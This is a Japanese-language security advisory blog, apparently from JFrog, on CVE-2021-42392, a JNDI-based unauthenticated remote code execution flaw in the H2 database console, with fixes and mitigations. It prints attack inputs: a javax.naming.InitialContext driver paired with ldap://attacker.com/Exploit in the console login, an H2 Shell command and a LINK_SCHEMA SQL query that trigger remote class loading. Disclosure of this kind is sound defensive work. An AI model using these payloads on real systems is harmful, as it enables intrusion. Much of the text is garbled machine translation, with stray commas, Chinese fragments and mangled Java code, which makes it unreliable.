再びjndiの脆弱性!h2デタベスコンソルにおける未認証のリモトコド実行

プロロ,グ
JFrogセキュリティリサーチチームは,H2データベースコンソールの脆弱性を公開し,クリティカルなcve - 2021 - 42392が発行されました。この問題は,Apache Log4jの悪名高いLog4Shell(jndiリモ,トクラスロ,ディング)と同じ要因から来るものです。
H2は,非常に人気のあるオープンソースのJava SQLデータベースで,データをディスクに保存する必要がない,軽量のインメモリ・ソリューションを提供するものです。このため,春天的引导などのWebプラットフォムからThingWorksなどの物联网プラットフォームまで,さまざまなプロジェクトで人気のデータストレージソリューションとなっています。com.h2database: h2パッケ,ジは,最も人気のあるMavenパッケ,ジのトップ50の一部であり,およそ7000のア,ティファクトが依存しています。
JNDI (Java)に関連するあらゆるものが現在世の中が過敏な状況であるため,今回のH2脆弱性に関する技術的な詳細説明に入る前に,危険になる前提や設定をまず明らかにします。
根本的な原因が類似したクリティカルな問題ではあるものの,次の要因によりcve - 2021 - 42392はLog4Shell (cve - 2021 - 44228)ほどは広まらないと考えます。
- Log4Shellとは異なり,この脆弱性には"直接的な"影響範囲というものがあります。すなわち,最初のリクエストを処理するサーバ(H2コンソール)が,远端控制设备の影響を受ける典型的なサーバとなります。脆弱なサバを見けやすいため,Log4Shellと比較して深刻度は低くなります。
- H2データベースのバニラディストリビューションでは,デフォルトでH2コンソールはlocalhostのみを待ち受けするようになっており,この設定では安全です。この点は,Log4jのデフォルト設定でエクスプロイトが可能だったLog4Shellとは異なります。しかし,h2コンソ,ルはリモ,ト接続を待,受けするように簡単に変更できることに注意が必要です。
- 多くのベンダでは,たとえh2デタベスを実行していても,h2コンソルを実行していません。コンソール以外にもこの脆弱性をエクスプロイトするベクタはありますが,これらの他のベクタはコンテキストに依存するため,リモート攻撃者の難度は上がります。
とはいえ局域网(最悪の場合WAN)に公開されているH2コンソールを実行している場合,この問題は極めてクリティカル(未認証のリモートコード実行)ですので,直にh2デタベスをバジョン2.0.206にバジョンアップすることが必要です。
また,多くの開発ツールがH2データベースに依存し,特にH2コンソールを公開していることが確認されています(いくつかの例はこのブログの後半に記載)。人気のあるリポジトリに悪意あるパッケ,ジが存在するなど,開発者をターゲットとしたサプライチェーン攻撃という昨今の傾向は,開発者ツールがすべての合理的なユースケースに対して安全であることの重要性をより高めています。今回の修正が適用された後,多くのh2依存の開発者用ルもより安全になることが望まれます。
JFrogはなぜJNDIの脆弱性をスキャンするのか?
Log4Shellの脆弱性の混乱から私たちが得た重要なポイントの1つは,JNDIが広く使われているため,Log4Shellと同じ根本原因,つまり任意のJNDIルックアップURLを受け入れることによる影響を受けるパッケージがより多く存在するに違いないということでした。そこで,Log4Shellと同様の問題を見つけられるように,自動化された脆弱性検出フレームワークを調整し,javax.naming.Context.lookup関数を危険な関数(水槽ーシンクー脆弱なポイント)として位置づけ,そのフレームワークによるスキャンをMavenレポジトリに集中して実施しました。
最初のスキャンでヒットしたものの一が,h2デタベスのパッケジでした。JFrogはこの問題を確認した後,H2のメンテナンスチ,ムに報告しました。メンテナンスチ,ムは速やかに新しいバ,ジョンをリリ,スすることで問題を修正し,クリティカルなGitHubアドバザリを作成しました。続いて,クリティカルなcve - 2021 - 4239を発行しました。
このブログでは,H2データベースで発見した,リモートでのJNDIルックアップのトリガを可能にするいくつかの攻撃ベクタを紹介します。そのうの1は,。
脆弱性の根本原因jndiリモトクラスロディング
一言で言えば,根本的な原因はLog4Shellに類似します。H2データベースフレームワークのいくつかのコードパスが,フィルタリングされず,そして攻撃者が操をるURLjavax.naming.Context.lookup関数に渡すことで,リモートからのコードベースの読み込み(別名:Javaコードインジェクション,リモートコード実行)が可能になります。
具体的には,org.h2.util.JdbcUtils.getConnectionメソッドは,ドラバのクラス名とデタベスのurlをパラメタとして受け取ります。ドラ@ @バのクラスがjavax.naming.Contextクラスに割り当て可能な場合,このメソッドはそのクラスからオブジェクトをインスタンス化し,その查找メソッドを呼び出します。
else if (javax.naming.Context.class.isAssignableFrom(d)) {// JNDI context context context context = (context) d. getdeclaredconstructor ().newInstance();DataSource ds = (DataSource) context.lookup(url);if (StringUtils.isNullOrEmpty(user) && StringUtils.isNullOrEmpty(password)){返回ds.getConnection();}返回ds。getConnection(用户、密码);}
javax.naming.InitialContextなどのドラ@ @バクラスとldap: / / attacker.com/Exploitのようなurlを提供すると,リモトコドの実行にながります。
この攻撃の流れをまったく知らないという人はもはや少数派かもしれませんが,ここで視覚化しておきましょう。

Cve-2021-42392の攻撃ベクタ
H2コンソ,ル,コンテキストに依存しない認証されていないrce
この脆弱性の最も深刻な攻撃ベクタは,h2コンソ,ルを介したものです。
H2デ,タベ,スにはWebベ,スのコンソ,ルが組み込まれており,デ,タベ,スの管理を容易に行うことができます。このコンソールは,JARを次のように実行すると,デフォルトでhttp://localhost: 8082にてサービスが開始されます。
Java -jar bin/h2.jar
あるいはWindowsでは,スタ,トメニュ,から実行できます。

さらに,H2を組み込みライブラリとして使用している場合は,Javaからコンソールを起動することができます。
h2Server =服务器。createWebServer("-web", "-webAllowOthers", "-webPort", "8082");h2Server.start ();
コンソールへのアクセスは,ログインフォームで保護されており,“司机”と“url”のフィールドの入力値がJdbcUtils.getConnectionの対応するフィ,ルドに渡されます。このフローでは,ユーザ名とパスワードが検証される前にURL指定の検索(例ではLDAP検索)が実施されるため,認証されない远端控制设备につながります。

デフォルトでは,h2コンソ,ルはロ,カルホストからしかアクセスできません。この設定は,コンソ,ルのUIから変更することができます。

または,コマンドラ-webAllowOthersを指定しても同様です。
しかし残念ながら,h2デタベスに依存するいくかのサドパティルは,デフォルトでリモトクラアントに公開されたh2コンソルを実行することが確認されています。例えば,JHipsterフレ,ムワ,クもh2コンソ,ルを公開しており,デフォルトでwebAllowOtherプロパティを真正的に設定しています。
# H2服务器属性0=JHipster H2(内存)|org.h2。驱动|jdbc\:h2\:mem\:jhbomtest|jhbomtest webAllowOthers=true webPort=8092 webSSL=false
ドキュメントにあるように,JHipsterフレームワークを使用してアプリケーションを実行する場合,デフォルトでは,H2コンソールはJHipster Webインターフェースの/ h2-consoleエンドポ@ @ントで利用できます。

H2データベースは非常に多くのアーティファクトで使用されているため,H2コンソールの脆弱なデプロイメントがどれだけ多く存在するかを定量的に示すことは困難です。しかしながら,パブリックな検索ツールによってWANに面した脆弱なコンソールを見つけることが可能であるという事実からも,これが最も深刻な攻撃ベクタであると考えます。
H2Shellコンテキスト依存のRCE . xml
ビルト@ @ンのH2壳では,コマンドラaaplン引数を操作できる攻撃者が,すでに述べたような脆弱な司机とurlを指定できます。
Java -cp h2*.jar org.h2.tools。Shell -driver javax.naming.InitialContext -url ldap://attacker.com:1387/Exploit
この攻撃ベクタは,リモートからの入力をこれらのコマンドライン引数にパイプするためのカスタムコードが必要なため,攻撃実現可能性は極めて低いと考えられます。もしこのようなカスタムコードが存在するならば,すなわち攻撃者がコマンドラインの一部を操作できる場合は,攻撃の可能性が高くなります。これは,パラメ,タ,ンジェクション攻撃が必要であるという言い方もできます。このような攻撃の詳細にいては,Yamaleのブログに詳しいです。
SQLベ,スのベクタ,認証された(特権)rce
脆弱なJdbcUtils.getConnectionは,H2データベースにデフォルトで用意されているいくつかのSQLストアドプロシージャによっても呼び出される可能性があります。いく認証された(db)管理者のみが呼び出すことができるという,この攻撃ベクタの深刻度を下げる共通の性質を持っています。
例えば,LINK_SCHEMAストアドプロシージャは,次のクエリで示されるように,脆弱な関数にドライバとURLの引数を直接渡します。
SELECT * FROM LINK_SCHEMA('pwnfr0g', 'javax.naming. 'InitialContext', 'ldap://attacker.com:1387/Exploit', 'pwnfr0g', 'pwnfr0g', 'PUBLIC');
ストアドプロシージャはDB管理者のみに制限されているため,最も可能性の高い攻撃ベクタは,個別のSQLインジェクションの欠陥を利用しての远端控制设备エスカレーションだと考えられます。
Cve-2021-42392に該当するかどうかは,どのようにして確認できるか?
ネットワク管理者は,ロカルサブネットでh2コンソルのオプンンスタンスをnmapでスキャンできます。
nmap -sV——script http-title——script-args "http-title。url=/" -p80,443,8000-9000 192.168.0.0/8 | grep "H2 Console"
(バニラインストールのデフォルトのコンソールエンドポイントは"ですが,サードパーティのツールで展開されたH2コンソールでは異なる場合があります)
上記の実行の結果にて表示されたサバは,すべてエクスプロト可能である可能性が高いです。
前述のように,他の攻撃手段もありますが,それらを利用したリモートからのエクスプロイトの可能性はかなり低いです。それでもなお,H2データベースをアップグレードすることをお勧めします(以下の”推奨修正案”を参照)。
JFrogはどのようにしてCVE-2021-42392を検出したのか?
この脆弱性は,デ,タフロ,分析(dfa)によって検出することができます。Javaに組み込まれたHttpServlet.doGet / doPostメソッドをユ,ザの入力ソ,ス(具体的には1番目のreq引数)として定義し,前述のjavax.naming.Context.lookupメソッド(jndiルックアップを実行する)を危険な関数/シンクとして定義します。
このケ,スのデ,タフロ,は,一部のクラスフィ,ルドのトレ,スが必要ですが,かなり単純です。以下の赤色で示された変数は,トレ,スされたデ,タを表します。

Cve-2021-42392の推奨修正案は何か?
H2コンソ,ルを直接使用していない場合でも,バ,ジョン2.0.206へのアップグレ,ドを推奨します。これは,他の攻撃ベクタが存在し、そのエクスプロイトの可能性を確認するのが困難である場合があるためです。
バ,ジョン2.0.206では,jndiのurlを(ロ,カルの)javaプロトコルのみを使用するように制限し,つまりはリモートのLDAP / RMIクエリを拒否することでcve - 2021 - 42392を修正しています。これは,Log4j 2.17.0の修正と同じです。
Cve-2021-42392はどのようにして緩和可能か?
この脆弱性の最善の対策は,h2デ,タベ,スをアップグレ,ドすることです。
H2のアップグレ,ドがすぐにはできないベンダ向けに,次の緩和策を提案します。
- Log4Shellの時と同様,新しいバージョンのJavaは,JNDI経由でリモートコードベースを単純にロードしないように修正されています(
trustURLCodebaseによる)。この緩和策を有効にするためにJava JRE / JDKのバージョンをアップグレードすることを推奨します。
この緩和策は,次のバ,ジョンのJava(またはそれ以降のバ,ジョン)でデフォルトで有効です。- 6 u211
- 7 u201
- 8 u191
- 11.0.1
ただし,この緩和策は完璧ではありません。それぞれの”ガジェット”クラスがクラスパスに含まれている限り,シリアライズされた”ガジェット”JavaオブジェクトをLDAPで送信することで回避することができるからです(H2データベースを実行するサーバによって異なります)。詳しくは,Log4Shellブログの付録B内"ロカルガジェットクラスを持シリアラズされたJavaオブジェクトの使用をご覧ください。
- H2コンソールサーブレットを(スタンドアロンのH2 Webサーバを使用せずに)Webサーバに配置する場合,特定ユーザのみがコンソールページにアクセスできるようにセキュリティ制約を追加できます。適切な設定例はこらをご覧ください。
謝辞
この問題を検証し,タイムリーに修正し,責任を持ってセキュリティアドバイザリを作成してくれたH2データベースのメンテナンスチームに感謝します。
結論
結論として,cve-2021-42392の悪用の可能性を回避するために,h2デ,タベ,スを最新のバ,ジョンにアップグレ,ドすることを強くお勧めします。
JFrogセキュリティリサ,チチ,ムは,責任ある情報公開という目的と,JFrog x光のお客様のために将来のゼロデイ検出能力の向上という目的の双方の達成のために,同様のJNDI脆弱性を継続的にスキャンしています。
JFrogの知る限りcve - 2021 - 42392はLog4Shell以降に公開された最初のJNDI関連の脆弱性ですが,これが最後ではないと思われます。
このブログでは,将来の攻撃からソフトウェアのサプライチェーンを守るために役立つ情報や技術的な分析情報を提供していきます。
その間,JFrogプラットフォームを使用することで,ソフトウェアサプライチェーンにおけるLog4jの脆弱性をどう検出し,影響をどう緩和できるのかをぜひご体験ください。
